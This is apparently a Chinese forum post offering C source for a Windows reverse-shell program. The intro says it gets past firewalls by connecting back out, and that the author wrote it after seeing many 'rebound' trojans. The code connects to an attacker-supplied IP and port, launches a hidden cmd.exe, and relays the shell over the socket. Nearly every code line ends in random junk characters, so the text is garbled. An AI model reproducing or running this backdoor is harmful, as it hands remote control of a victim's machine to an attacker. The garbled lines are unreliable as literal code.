这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 eH
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/* ==============================
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Rebound port in Windows NT `_U0>Bfg;
By wind,2006/7 s| r7DdI
===============================*/ y] ]Vp~R:[
#include +Nbk\%
#include !otq
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#pragma comment(lib,"wsock32.lib") R9/xC7l@
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void OutputShell(); K4/P(*r`
SOCKET sClient; eBTedSM?t
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4VJzs$
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void main(int argc,char **argv) 'lsq3!d.
{ e'Us(]ZO
WSADATA stWsaData; [y[v]'
int nRet; `$Fl gp0P
SOCKADDR_IN stSaiClient,stSaiServer; pZ~>l=-
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if(argc != 3) $ t# ,'M
{ XjZao<?u
printf("Useage:\n\rRebound DestIP DestPort\n"); BMWeD
return; B"8JFf}"q
} 11<@++,i
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WSAStartup(MAKEWORD(2,2),&stWsaData); P9i9<pR
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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stSaiClient.sin_family = AF_INET; l[ ": tG
stSaiClient.sin_port = htons(0); a]Da`$T
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !BQ ELB$0
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /W$y"!^)J1
{ bC4*w
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printf("Bind Socket Failed!\n"); # 1dTM-
return; PtQ#
} renmz,dJ,
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stSaiServer.sin_family = AF_INET; EXW
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wJos'aTmE
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); O4d^ig-xaH
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) M |Q
{ JeTrMa 2
printf("Connect Error!"); Hrg=sR
return;
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} e|5B1rMM
OutputShell(); &Wv`AoV
} "o# )vA`
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void OutputShell() 'x,GI\;?
{ E}b>7L&w
char szBuff[1024]; XJlDiBs9=Q
SECURITY_ATTRIBUTES stSecurityAttributes; YNgR1:l
OSVERSIONINFO stOsversionInfo; b!5tFX;J
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; OwiWnS<
STARTUPINFO stStartupInfo; gvc'
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char *szShell; U??f<
PROCESS_INFORMATION stProcessInformation; _2gT1B
unsigned long lBytesRead; jU4)zN/`r
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5lHN8k=mm2
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); IJ_'w[k
stSecurityAttributes.lpSecurityDescriptor = 0; Pvg
stSecurityAttributes.bInheritHandle = TRUE; Ro'4/{}+
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;sck+FP7w
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); d%_78nOh"
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $-fj rQ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0bPJEEd
stStartupInfo.wShowWindow = SW_HIDE; k$0|^GL8
stStartupInfo.hStdInput = hReadPipe; i_9Cc$Qh<
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 9B#)h)h(=
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GetVersionEx(&stOsversionInfo); + 1+A3
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switch(stOsversionInfo.dwPlatformId) =JbdsYI(
{ Ic{'H2~4,
case 1: B=q)}aWc
szShell = "command.com"; Jp.3KA>
break; >xU72l#5
default: lN)Y
szShell = "cmd.exe"; gB{]yA"('
break; ^Z-.[Y
} $ gr6
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Wp7@
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send(sClient,szMsg,77,0); QSn;a 4f
while(1) [TbG55
{ zqvRkMWc M
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); vSYunI
if(lBytesRead) @wEKCn|}o
{ _
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); n&YW".iG
send(sClient,szBuff,lBytesRead,0); 0$f_or9T
} G&%nF4
else liugaRO8J
{ gc,J2B]61
lBytesRead=recv(sClient,szBuff,1024,0); y,y/PyN)
if(lBytesRead<=0) break; 5Aa31"43n
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `uNvFlP
} *3.yumcv{L
} I!F}`d
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return; %2Xus9;k#
}